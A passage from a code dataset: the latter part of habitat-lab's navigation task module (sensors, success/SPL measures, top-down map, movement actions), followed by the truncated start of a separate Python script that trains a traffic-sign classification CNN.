getattr(config, \"dimensionality\", 2)\n assert self._dimensionality in [2, 3]\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.POSITION\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n sensor_shape = (self._dimensionality,)\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(\n self, observations, episode, *args: Any, **kwargs: Any\n ):\n agent_state = self._sim.get_agent_state()\n\n origin = np.array(episode.start_position, dtype=np.float32)\n rotation_world_start = quaternion_from_coeff(episode.start_rotation)\n\n agent_position = agent_state.position\n\n agent_position = quaternion_rotate_vector(\n rotation_world_start.inverse(), agent_position - origin\n )\n if self._dimensionality == 2:\n return np.array(\n [-agent_position[2], agent_position[0]], dtype=np.float32\n )\n else:\n return agent_position.astype(np.float32)\n\n\n@registry.register_sensor\nclass ProximitySensor(Sensor):\n r\"\"\"Sensor for observing the distance to the closest obstacle\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: config for the sensor.\n \"\"\"\n cls_uuid: str = \"proximity\"\n\n def __init__(self, sim, config, *args: Any, **kwargs: Any):\n self._sim = sim\n self._max_detection_radius = getattr(\n config, \"max_detection_radius\", 2.0\n )\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.TACTILE\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return spaces.Box(\n low=0.0,\n high=self._max_detection_radius,\n shape=(1,),\n dtype=np.float32,\n )\n\n def get_observation(\n self, observations, *args: Any, episode, **kwargs: Any\n ):\n current_position = self._sim.get_agent_state().position\n\n return np.array(\n [\n self._sim.distance_to_closest_obstacle(\n current_position, self._max_detection_radius\n )\n ],\n dtype=np.float32,\n )\n\n\n@registry.register_measure\nclass Success(Measure):\n r\"\"\"Whether or not the agent succeeded at its task\n\n This measure depends on DistanceToGoal measure.\n \"\"\"\n\n cls_uuid: str = \"success\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._sim = sim\n self._config = config\n self._success_distance = self._config.success_distance\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def reset_metric(self, episode, task, *args: Any, **kwargs: Any):\n task.measurements.check_measure_dependencies(\n self.uuid, [DistanceToGoal.cls_uuid]\n )\n self.update_metric(episode=episode, task=task, *args, **kwargs) # type: ignore\n\n def update_metric(\n self, episode, task: EmbodiedTask, *args: Any, **kwargs: Any\n ):\n distance_to_target = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n\n if (\n hasattr(task, \"is_stop_called\")\n and task.is_stop_called # type: ignore\n and distance_to_target < self._success_distance\n ):\n self._metric = 1.0\n else:\n self._metric = 0.0\n\n\n@registry.register_measure\nclass SPL(Measure):\n r\"\"\"SPL (Success weighted by Path Length)\n\n ref: On Evaluation of Embodied Agents - Anderson et. al\n https://arxiv.org/pdf/1807.06757.pdf\n The measure depends on Distance to Goal measure and Success measure\n to improve computational\n performance for sophisticated goal areas.\n \"\"\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._previous_position: Union[None, np.ndarray, List[float]] = None\n self._start_end_episode_distance: Optional[float] = None\n self._agent_episode_distance: Optional[float] = None\n self._episode_view_points: Optional[\n List[Tuple[float, float, float]]\n ] = None\n self._sim = sim\n self._config = config\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return \"spl\"\n\n def reset_metric(self, episode, task, *args: Any, **kwargs: Any):\n task.measurements.check_measure_dependencies(\n self.uuid, [DistanceToGoal.cls_uuid, Success.cls_uuid]\n )\n\n self._previous_position = self._sim.get_agent_state().position\n self._agent_episode_distance = 0.0\n self._start_end_episode_distance = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n self.update_metric( # type:ignore\n episode=episode, task=task, *args, **kwargs\n )\n\n def _euclidean_distance(self, position_a, position_b):\n return np.linalg.norm(position_b - position_a, ord=2)\n\n def update_metric(\n self, episode, task: EmbodiedTask, *args: Any, **kwargs: Any\n ):\n ep_success = task.measurements.measures[Success.cls_uuid].get_metric()\n\n current_position = self._sim.get_agent_state().position\n self._agent_episode_distance += self._euclidean_distance(\n current_position, self._previous_position\n )\n\n self._previous_position = current_position\n\n self._metric = ep_success * (\n self._start_end_episode_distance\n / max(\n self._start_end_episode_distance, self._agent_episode_distance\n )\n )\n\n\n@registry.register_measure\nclass SoftSPL(SPL):\n r\"\"\"Soft SPL\n\n Similar to spl with a relaxed soft-success criteria. Instead of a boolean\n success is now calculated as 1 - (ratio of distance covered to target).\n \"\"\"\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return \"soft_spl\"\n\n def reset_metric(self, episode, task, *args: Any, **kwargs: Any):\n task.measurements.check_measure_dependencies(\n self.uuid, [DistanceToGoal.cls_uuid]\n )\n\n self._previous_position = self._sim.get_agent_state().position\n self._agent_episode_distance = 0.0\n self._start_end_episode_distance = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n self.update_metric(episode=episode, task=task, *args, **kwargs) # type: ignore\n\n def update_metric(self, episode, task, *args: Any, **kwargs: Any):\n current_position = self._sim.get_agent_state().position\n distance_to_target = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n\n ep_soft_success = max(\n 0, (1 - distance_to_target / self._start_end_episode_distance)\n )\n\n self._agent_episode_distance += self._euclidean_distance(\n current_position, self._previous_position\n )\n\n self._previous_position = current_position\n\n self._metric = ep_soft_success * (\n self._start_end_episode_distance\n / max(\n self._start_end_episode_distance, self._agent_episode_distance\n )\n )\n\n\n@registry.register_measure\nclass Collisions(Measure):\n def __init__(self, sim, config, *args: Any, **kwargs: Any):\n self._sim = sim\n self._config = config\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return \"collisions\"\n\n def reset_metric(self, episode, *args: Any, **kwargs: Any):\n self._metric = {\"count\": 0, \"is_collision\": False}\n\n def update_metric(self, episode, action, *args: Any, **kwargs: Any):\n self._metric[\"is_collision\"] = False\n if self._sim.previous_step_collided:\n self._metric[\"count\"] += 1\n self._metric[\"is_collision\"] = True\n\n\n@registry.register_measure\nclass TopDownMap(Measure):\n r\"\"\"Top Down Map measure\"\"\"\n\n def __init__(\n self,\n sim: \"HabitatSim\",\n config: \"DictConfig\",\n *args: Any,\n **kwargs: Any,\n ):\n self._sim = sim\n self._config = config\n self._grid_delta = config.map_padding\n self._step_count: Optional[int] = None\n self._map_resolution = config.map_resolution\n self._ind_x_min: Optional[int] = None\n self._ind_x_max: Optional[int] = None\n self._ind_y_min: Optional[int] = None\n self._ind_y_max: Optional[int] = None\n self._previous_xy_location: List[Optional[Tuple[int, int]]] = None\n self._top_down_map: Optional[np.ndarray] = None\n self._shortest_path_points: Optional[List[Tuple[int, int]]] = None\n self.line_thickness = int(\n np.round(self._map_resolution * 2 / MAP_THICKNESS_SCALAR)\n )\n self.point_padding = 2 * int(\n np.ceil(self._map_resolution / MAP_THICKNESS_SCALAR)\n )\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return \"top_down_map\"\n\n def get_original_map(self):\n top_down_map = maps.get_topdown_map_from_sim(\n self._sim,\n map_resolution=self._map_resolution,\n draw_border=self._config.draw_border,\n )\n\n if self._config.fog_of_war.draw:\n self._fog_of_war_mask = np.zeros_like(top_down_map)\n else:\n self._fog_of_war_mask = None\n\n return top_down_map\n\n def _draw_point(self, position, point_type):\n t_x, t_y = maps.to_grid(\n position[2],\n position[0],\n (self._top_down_map.shape[0], self._top_down_map.shape[1]),\n sim=self._sim,\n )\n self._top_down_map[\n t_x - self.point_padding : t_x + self.point_padding + 1,\n t_y - self.point_padding : t_y + self.point_padding + 1,\n ] = point_type\n\n def _draw_goals_view_points(self, episode):\n if self._config.draw_view_points:\n for goal in episode.goals:\n if self._is_on_same_floor(goal.position[1]):\n try:\n if goal.view_points is not None:\n for view_point in goal.view_points:\n self._draw_point(\n view_point.agent_state.position,\n maps.MAP_VIEW_POINT_INDICATOR,\n )\n except AttributeError:\n pass\n\n def _draw_goals_positions(self, episode):\n if self._config.draw_goal_positions:\n for goal in episode.goals:\n if self._is_on_same_floor(goal.position[1]):\n try:\n self._draw_point(\n goal.position, maps.MAP_TARGET_POINT_INDICATOR\n )\n except AttributeError:\n pass\n\n def _draw_goals_aabb(self, episode):\n if self._config.draw_goal_aabbs:\n for goal in episode.goals:\n try:\n sem_scene = self._sim.semantic_annotations()\n object_id = goal.object_id\n assert int(\n sem_scene.objects[object_id].id.split(\"_\")[-1]\n ) == int(\n goal.object_id\n ), f\"Object_id doesn't correspond to id in semantic scene objects dictionary for episode: {episode}\"\n\n center = sem_scene.objects[object_id].aabb.center\n x_len, _, z_len = (\n sem_scene.objects[object_id].aabb.sizes / 2.0\n )\n # Nodes to draw rectangle\n corners = [\n center + np.array([x, 0, z])\n for x, z in [\n (-x_len, -z_len),\n (-x_len, z_len),\n (x_len, z_len),\n (x_len, -z_len),\n (-x_len, -z_len),\n ]\n if self._is_on_same_floor(center[1])\n ]\n\n map_corners = [\n maps.to_grid(\n p[2],\n p[0],\n (\n self._top_down_map.shape[0],\n self._top_down_map.shape[1],\n ),\n sim=self._sim,\n )\n for p in corners\n ]\n\n maps.draw_path(\n self._top_down_map,\n map_corners,\n maps.MAP_TARGET_BOUNDING_BOX,\n self.line_thickness,\n )\n except AttributeError:\n pass\n\n def _draw_shortest_path(\n self, episode: NavigationEpisode, agent_position: AgentState\n ):\n if self._config.draw_shortest_path:\n _shortest_path_points = (\n self._sim.get_straight_shortest_path_points(\n agent_position, episode.goals[0].position\n )\n )\n self._shortest_path_points = [\n maps.to_grid(\n p[2],\n p[0],\n (self._top_down_map.shape[0], self._top_down_map.shape[1]),\n sim=self._sim,\n )\n for p in _shortest_path_points\n ]\n maps.draw_path(\n self._top_down_map,\n self._shortest_path_points,\n maps.MAP_SHORTEST_PATH_COLOR,\n self.line_thickness,\n )\n\n def _is_on_same_floor(\n self, height, ref_floor_height=None, ceiling_height=2.0\n ):\n if ref_floor_height is None:\n ref_floor_height = self._sim.get_agent(0).state.position[1]\n return ref_floor_height <= height < ref_floor_height + ceiling_height\n\n def reset_metric(self, episode, *args: Any, **kwargs: Any):\n self._top_down_map = self.get_original_map()\n self._step_count = 0\n agent_position = self._sim.get_agent_state().position\n self._previous_xy_location = [\n None for _ in range(len(self._sim.habitat_config.agents))\n ]\n\n if hasattr(episode, \"goals\"):\n # draw source and target parts last to avoid overlap\n self._draw_goals_view_points(episode)\n self._draw_goals_aabb(episode)\n self._draw_goals_positions(episode)\n self._draw_shortest_path(episode, agent_position)\n\n if self._config.draw_source:\n self._draw_point(\n episode.start_position, maps.MAP_SOURCE_POINT_INDICATOR\n )\n\n self.update_metric(episode, None)\n self._step_count = 0\n\n def update_metric(self, episode, action, *args: Any, **kwargs: Any):\n self._step_count += 1\n map_positions: List[Tuple[float]] = []\n map_angles = []\n for agent_index in range(len(self._sim.habitat_config.agents)):\n agent_state = self._sim.get_agent_state(agent_index)\n map_positions.append(self.update_map(agent_state, agent_index))\n map_angles.append(TopDownMap.get_polar_angle(agent_state))\n self._metric = {\n \"map\": self._top_down_map,\n \"fog_of_war_mask\": self._fog_of_war_mask,\n \"agent_map_coord\": map_positions,\n \"agent_angle\": map_angles,\n }\n\n @staticmethod\n def get_polar_angle(agent_state):\n # quaternion is in x, y, z, w format\n ref_rotation = agent_state.rotation\n heading_vector = quaternion_rotate_vector(\n ref_rotation.inverse(), np.array([0, 0, -1])\n )\n phi = cartesian_to_polar(heading_vector[2], -heading_vector[0])[1]\n return np.array(phi)\n\n def update_map(self, agent_state: AgentState, agent_index: int):\n agent_position = agent_state.position\n a_x, a_y = maps.to_grid(\n agent_position[2],\n agent_position[0],\n (self._top_down_map.shape[0], self._top_down_map.shape[1]),\n sim=self._sim,\n )\n # Don't draw over the source point\n if self._top_down_map[a_x, a_y] != maps.MAP_SOURCE_POINT_INDICATOR:\n color = 10 + min(\n self._step_count * 245 // self._config.max_episode_steps, 245\n )\n\n thickness = self.line_thickness\n if self._previous_xy_location[agent_index] is not None:\n cv2.line(\n self._top_down_map,\n self._previous_xy_location[agent_index],\n (a_y, a_x),\n color,\n thickness=thickness,\n )\n angle = TopDownMap.get_polar_angle(agent_state)\n self.update_fog_of_war_mask(np.array([a_x, a_y]), angle)\n\n self._previous_xy_location[agent_index] = (a_y, a_x)\n return a_x, a_y\n\n def update_fog_of_war_mask(self, agent_position, angle):\n if self._config.fog_of_war.draw:\n self._fog_of_war_mask = fog_of_war.reveal_fog_of_war(\n self._top_down_map,\n self._fog_of_war_mask,\n agent_position,\n angle,\n fov=self._config.fog_of_war.fov,\n max_line_len=self._config.fog_of_war.visibility_dist\n / maps.calculate_meters_per_pixel(\n self._map_resolution, sim=self._sim\n ),\n )\n\n\n@registry.register_measure\nclass DistanceToGoal(Measure):\n \"\"\"The measure calculates a distance towards the goal.\"\"\"\n\n cls_uuid: str = \"distance_to_goal\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._previous_position: Optional[Tuple[float, float, float]] = None\n self._sim = sim\n self._config = config\n self._episode_view_points: Optional[\n List[Tuple[float, float, float]]\n ] = None\n self._distance_to = self._config.distance_to\n\n super().__init__(**kwargs)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def reset_metric(self, episode, *args: Any, **kwargs: Any):\n self._previous_position = None\n if self._distance_to == \"VIEW_POINTS\":\n self._episode_view_points = [\n view_point.agent_state.position\n for goal in episode.goals\n for view_point in goal.view_points\n ]\n self.update_metric(episode=episode, *args, **kwargs) # type: ignore\n\n def update_metric(\n self, episode: NavigationEpisode, *args: Any, **kwargs: Any\n ):\n current_position = self._sim.get_agent_state().position\n\n if self._previous_position is None or not np.allclose(\n self._previous_position, current_position, atol=1e-4\n ):\n if self._distance_to == \"POINT\":\n distance_to_target = self._sim.geodesic_distance(\n current_position,\n [goal.position for goal in episode.goals],\n episode,\n )\n elif self._distance_to == \"VIEW_POINTS\":\n distance_to_target = self._sim.geodesic_distance(\n current_position, self._episode_view_points, episode\n )\n else:\n logger.error(\n f\"Non valid distance_to parameter was provided: {self._distance_to }\"\n )\n\n self._previous_position = (\n current_position[0],\n current_position[1],\n current_position[2],\n )\n self._metric = distance_to_target\n\n\n@registry.register_measure\nclass DistanceToGoalReward(Measure):\n \"\"\"\n The measure calculates a reward based on the distance towards the goal.\n The reward is `- (new_distance - previous_distance)` i.e. the\n decrease of distance to the goal.\n \"\"\"\n\n cls_uuid: str = \"distance_to_goal_reward\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._sim = sim\n self._config = config\n self._previous_distance: Optional[float] = None\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def reset_metric(self, episode, task, *args: Any, **kwargs: Any):\n task.measurements.check_measure_dependencies(\n self.uuid, [DistanceToGoal.cls_uuid]\n )\n self._previous_distance = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n self.update_metric(episode=episode, task=task, *args, **kwargs) # type: ignore\n\n def update_metric(\n self, episode, task: EmbodiedTask, *args: Any, **kwargs: Any\n ):\n distance_to_target = task.measurements.measures[\n DistanceToGoal.cls_uuid\n ].get_metric()\n self._metric = -(distance_to_target - self._previous_distance)\n self._previous_distance = distance_to_target\n\n\nclass NavigationMovementAgentAction(SimulatorTaskAction):\n def __init__(self, *args, config, sim, **kwargs):\n super().__init__(*args, config=config, sim=sim, **kwargs)\n self._sim = sim\n self._tilt_angle = config.tilt_angle\n\n def _move_camera_vertical(self, amount: float):\n assert (\n len(self._sim.agents) == 1 # type: ignore\n ), \"For navigation tasks, there can be only one agent in the scene\"\n sensor_names = list(self._sim.agents[0]._sensors.keys()) # type: ignore\n for sensor_name in sensor_names:\n sensor = self._sim.agents[0]._sensors[sensor_name].node # type: ignore\n sensor.rotation = sensor.rotation * mn.Quaternion.rotation(\n mn.Deg(amount), mn.Vector3.x_axis()\n )\n\n\n@registry.register_task_action\nclass MoveForwardAction(SimulatorTaskAction):\n name: str = \"move_forward\"\n\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n return self._sim.step(HabitatSimActions.move_forward)\n\n\n@registry.register_task_action\nclass TurnLeftAction(SimulatorTaskAction):\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n return self._sim.step(HabitatSimActions.turn_left)\n\n\n@registry.register_task_action\nclass TurnRightAction(SimulatorTaskAction):\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n\n return self._sim.step(HabitatSimActions.turn_right)\n\n\n@registry.register_task_action\nclass StopAction(SimulatorTaskAction):\n name: str = \"stop\"\n\n def reset(self, task: EmbodiedTask, *args: Any, **kwargs: Any):\n task.is_stop_called = False # type: ignore\n\n def step(self, task: EmbodiedTask, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n task.is_stop_called = True # type: ignore\n\n\n@registry.register_task_action\nclass LookUpAction(NavigationMovementAgentAction):\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n self._move_camera_vertical(self._tilt_angle)\n\n\n@registry.register_task_action\nclass LookDownAction(NavigationMovementAgentAction):\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n self._move_camera_vertical(-self._tilt_angle)\n\n\n@registry.register_task_action\nclass TeleportAction(SimulatorTaskAction):\n # TODO @maksymets: Propagate through Simulator class\n COORDINATE_EPSILON = 1e-6\n COORDINATE_MIN = -62.3241 - COORDINATE_EPSILON\n COORDINATE_MAX = 90.0399 + COORDINATE_EPSILON\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return \"teleport\"\n\n def step(\n self,\n *args: Any,\n position: List[float],\n rotation: Sequence[float],\n **kwargs: Any,\n ):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n\n if not isinstance(rotation, list):\n rotation = list(rotation)\n\n if not self._sim.is_navigable(position):\n return\n\n self._sim.set_agent_state( # type:ignore\n position, rotation, reset_sensors=False\n )\n\n @property\n def action_space(self) -> spaces.Dict:\n return spaces.Dict(\n {\n \"position\": spaces.Box(\n low=np.array([self.COORDINATE_MIN] * 3),\n high=np.array([self.COORDINATE_MAX] * 3),\n dtype=np.float32,\n ),\n \"rotation\": spaces.Box(\n low=np.array([-1.0, -1.0, -1.0, -1.0]),\n high=np.array([1.0, 1.0, 1.0, 1.0]),\n dtype=np.float32,\n ),\n }\n )\n\n\n@registry.register_task_action\nclass VelocityAction(SimulatorTaskAction):\n name: str = \"velocity_control\"\n\n def __init__(self, *args: Any, **kwargs: Any):\n super().__init__(*args, **kwargs)\n self.vel_control = VelocityControl()\n self.vel_control.controlling_lin_vel = True\n self.vel_control.controlling_ang_vel = True\n self.vel_control.lin_vel_is_local = True\n self.vel_control.ang_vel_is_local = True\n\n config = kwargs[\"config\"]\n self.min_lin_vel, self.max_lin_vel = config.lin_vel_range\n self.min_ang_vel, self.max_ang_vel = config.ang_vel_range\n self.min_abs_lin_speed = config.min_abs_lin_speed\n self.min_abs_ang_speed = config.min_abs_ang_speed\n self.time_step = config.time_step\n self._allow_sliding = self._sim.config.sim_cfg.allow_sliding # type: ignore\n\n @property\n def action_space(self):\n return ActionSpace(\n {\n \"linear_velocity\": spaces.Box(\n low=np.array([self.min_lin_vel]),\n high=np.array([self.max_lin_vel]),\n dtype=np.float32,\n ),\n \"angular_velocity\": spaces.Box(\n low=np.array([self.min_ang_vel]),\n high=np.array([self.max_ang_vel]),\n dtype=np.float32,\n ),\n }\n )\n\n def reset(self, task: EmbodiedTask, *args: Any, **kwargs: Any):\n task.is_stop_called = False # type: ignore\n\n def step(\n self,\n *args: Any,\n task: EmbodiedTask,\n linear_velocity: float,\n angular_velocity: float,\n time_step: Optional[float] = None,\n allow_sliding: Optional[bool] = None,\n **kwargs: Any,\n ):\n r\"\"\"Moves the agent with a provided linear and angular velocity for the\n provided amount of time\n\n Args:\n linear_velocity: between [-1,1], scaled according to\n config.lin_vel_range\n angular_velocity: between [-1,1], scaled according to\n config.ang_vel_range\n time_step: amount of time to move the agent for\n allow_sliding: whether the agent will slide on collision\n \"\"\"\n if allow_sliding is None:\n allow_sliding = self._allow_sliding\n if time_step is None:\n time_step = self.time_step\n\n # Convert from [-1, 1] to [0, 1] range\n linear_velocity = (linear_velocity + 1.0) / 2.0\n angular_velocity = (angular_velocity + 1.0) / 2.0\n\n # Scale actions\n linear_velocity = self.min_lin_vel + linear_velocity * (\n self.max_lin_vel - self.min_lin_vel\n )\n angular_velocity = self.min_ang_vel + angular_velocity * (\n self.max_ang_vel - self.min_ang_vel\n )\n\n # Stop is called if both linear/angular speed are below their threshold\n if (\n abs(linear_velocity) < self.min_abs_lin_speed\n and abs(angular_velocity) < self.min_abs_ang_speed\n ):\n task.is_stop_called = True # type: ignore\n return\n\n angular_velocity = np.deg2rad(angular_velocity)\n self.vel_control.linear_velocity = np.array(\n [0.0, 0.0, -linear_velocity]\n )\n self.vel_control.angular_velocity = np.array(\n [0.0, angular_velocity, 0.0]\n )\n agent_state = self._sim.get_agent_state()\n\n # Convert from np.quaternion (quaternion.quaternion) to mn.Quaternion\n normalized_quaternion = agent_state.rotation\n agent_mn_quat = mn.Quaternion(\n normalized_quaternion.imag, normalized_quaternion.real\n )\n current_rigid_state = RigidState(\n agent_mn_quat,\n agent_state.position,\n )\n\n # manually integrate the rigid state\n goal_rigid_state = self.vel_control.integrate_transform(\n time_step, current_rigid_state\n )\n\n # snap rigid state to navmesh and set state to object/agent\n if allow_sliding:\n step_fn = self._sim.pathfinder.try_step # type: ignore\n else:\n step_fn = self._sim.pathfinder.try_step_no_sliding # type: ignore\n\n final_position = step_fn(\n agent_state.position, goal_rigid_state.translation\n )\n final_rotation = [\n *goal_rigid_state.rotation.vector,\n goal_rigid_state.rotation.scalar,\n ]\n\n # Check if a collision occurred\n dist_moved_before_filter = (\n goal_rigid_state.translation - agent_state.position\n ).dot()\n dist_moved_after_filter = (final_position - agent_state.position).dot()\n\n # NB: There are some cases where ||filter_end - end_pos|| > 0 when a\n # collision _didn't_ happen. One such case is going up stairs. Instead,\n # we check to see if the the amount moved after the application of the\n # filter is _less_ than the amount moved before the application of the\n # filter.\n EPS = 1e-5\n collided = (dist_moved_after_filter + EPS) < dist_moved_before_filter\n\n self._sim.set_agent_state( # type:ignore\n final_position, final_rotation, reset_sensors=False\n )\n # TODO: Make a better way to flag collisions\n self._sim._prev_sim_obs[\"collided\"] = collided # type: ignore\n\n\n@registry.register_task(name=\"Nav-v0\")\nclass NavigationTask(EmbodiedTask):\n def __init__(\n self,\n config: \"DictConfig\",\n sim: Simulator,\n dataset: Optional[Dataset] = None,\n ) -> None:\n super().__init__(config=config, sim=sim, dataset=dataset)\n\n def overwrite_sim_config(self, config: Any, episode: Episode) -> Any:\n with read_write(config):\n config.simulator.scene = episode.scene_id\n if (\n episode.start_position is not None\n and episode.start_rotation is not None\n ):\n agent_config = get_agent_config(config.simulator)\n agent_config.start_position = episode.start_position\n agent_config.start_rotation = [\n float(k) for k in episode.start_rotation\n ]\n agent_config.is_set_start_state = True\n return config\n\n def _check_episode_is_active(self, *args: Any, **kwargs: Any) -> bool:\n return not getattr(self, \"is_stop_called\", False)\n","repo_name":"facebookresearch/habitat-lab","sub_path":"habitat-lab/habitat/tasks/nav/nav.py","file_name":"nav.py","file_ext":"py","file_size_in_byte":46714,"program_lang":"python","lang":"en","doc_type":"code","stars":1467,"dataset":"github-code","pt":"62"} +{"seq_id":"27076890646","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport cv2\nimport tensorflow as tf\nfrom PIL import Image\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom tensorflow.keras.utils import to_categorical\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout\nimport os\nfrom image_transformer import *\nimport shutil\n\n# Usage:\n# Change main function with ideal arguments\n# Then\n# from image_tranformer import ImageTransformer\n#\n# Parameters:\n# image_path: the path of image that you want rotated\n# shape : the ideal shape of input image, None for original size.\n# theta : rotation around the x axis\n# phi : rotation around the y axis\n# gamma : rotation around the z axis (basically a 2D rotation)\n# dx : translation along the x axis\n# dy : translation along the y axis\n# dz : translation along the z axis (distance to the image)\n#\n# Output:\n# image : the rotated image\n#\n# Reference:\n# 1. : http://stackoverflow.com/questions/17087446/how-to-calculate-perspective-transform-for-opencv-from-rotation-angles\n# 2. : http://jepsonsblog.blogspot.tw/2012/11/rotation-in-3d-using-opencvs.html\n\n\n\n# Usage:\n# Change main function with ideal arguments\n# then\n# python demo.py [name of the image] [degree to rotate] ([ideal width] [ideal height])\n# e.g.,\n# python demo.py images/000001.jpg 360\n# python demo.py images/000001.jpg 45 500 700\n#\n# Parameters:\n# img_path : the path of image that you want rotated\n# shape : the ideal shape of input image, None for original size.\n# theta : the rotation around the x axis\n# phi : the rotation around the y axis\n# gamma : the rotation around the z axis (basically a 2D rotation)\n# dx : translation along the x axis\n# dy : translation along the y axis\n# dz : translation along the z axis (distance to the image)\n#\n# Output:\n# image : the rotated image\n\nclasses_dict = { 0:'Speed limit (20km/h)',\n 1:'Speed limit (30km/h)',\n 2:'Speed limit (50km/h)',\n 3:'Speed limit (60km/h)',\n 4:'Speed limit (70km/h)',\n 5:'Speed limit (80km/h)',\n 6:'End of speed limit (80km/h)',\n 7:'Speed limit (100km/h)',\n 8:'Speed limit (120km/h)',\n 9:'No passing',\n 10:'No passing veh over 3.5 tons',\n 11:'Right-of-way at intersection',\n 12:'Priority road',\n 13:'Yield',\n 14:'Stop',\n 15:'No vehicles',\n 16:'Veh > 3.5 tons prohibited',\n 17:'No entry',\n 18:'General caution',\n 19:'Dangerous curve left',\n 20:'Dangerous curve right',\n 21:'Double curve',\n 22:'Bumpy road',\n 23:'Slippery road',\n 24:'Road narrows on the right',\n 25:'Road work',\n 26:'Traffic signals',\n 27:'Pedestrians',\n 28:'Children crossing',\n 29:'Bicycles crossing',\n 30:'Beware of ice/snow',\n 31:'Wild animals crossing',\n 32:'End speed + passing limits',\n 33:'Turn right ahead',\n 34:'Turn left ahead',\n 35:'Ahead only',\n 36:'Go straight or right',\n 37:'Go straight or left',\n 38:'Keep right',\n 39:'Keep left',\n 40:'Roundabout mandatory',\n 41:'End of no passing',\n 42:'End no passing veh > 3.5 tons' }\n\n\n\ndef testing(testcsv):\n y_test = pd.read_csv(testcsv)\n label = y_test[\"ClassId\"].values\n imgs = y_test[\"Path\"].values\n data=[]\n for img in imgs:\n image = Image.open(img)\n image = image.resize((30,30))\n data.append(np.array(image))\n X_test=np.array(data)\n return X_test,label\n\ndef test_on_img(img):\n data=[]\n image = Image.open(img)\n image = image.resize((30,30))\n data.append(np.array(image))\n X_test=np.array(data)\n predict_x=model.predict(X_test)\n Y_pred=np.argmax(predict_x,axis=1)\n # Y_pred = model.predict_classes(X_test)\n return image,Y_pred,predict_x\n\n# Classes of trafic signs\n\n\n\n\n\n\ndef pre_process():\n # store data and labels in a list\n data =[]\n labels = []\n classes =43\n cur_path = os.getcwd()\n\n # preprocess images\n for i in range(classes):\n path = os.path.join(cur_path,'Train',str(i))\n images = os.listdir(path)\n for a in images:\n try:\n # image = Image.open(path +'\\\\'+ a) # for pc\n image = Image.open(path +'/'+ a) # for mac\n image = image.resize((30,30))\n # Resizing all images into 30*30\n image =np.array(image)\n data.append(image)\n labels.append(i)\n except Exception as e:\n print(e)\n # convert lists into numpy arrays and return arrays\n return np.array(data), np.array(labels)\n\ndef build_model():\n data, labels = pre_process()\n # print(data.shape, labels.shape)\n\n # train test split\n X_train, X_test, y_train, y_test = train_test_split(data, labels, test_size=0.2, random_state=0)\n # print(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\n\n # convert labels to onehot encoding\n y_train = to_categorical(y_train, 43)\n y_test = to_categorical(y_test, 43)\n\n # build model\n model = Sequential()\n model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu', input_shape=X_train.shape[1:]))\n model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu'))\n model.add(MaxPool2D(pool_size=(2, 2)))\n model.add(Dropout(rate=0.25))\n model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\n model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\n model.add(MaxPool2D(pool_size=(2, 2)))\n model.add(Dropout(rate=0.25))\n model.add(Flatten())\n model.add(Dense(256, activation='relu'))\n model.add(Dropout(rate=0.5))\n # We have 43 classes that's why we have defined 43 in the dense\n model.add(Dense(43, activation='softmax'))\n\n #Compilation of the model\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n # epochs = 20\n # 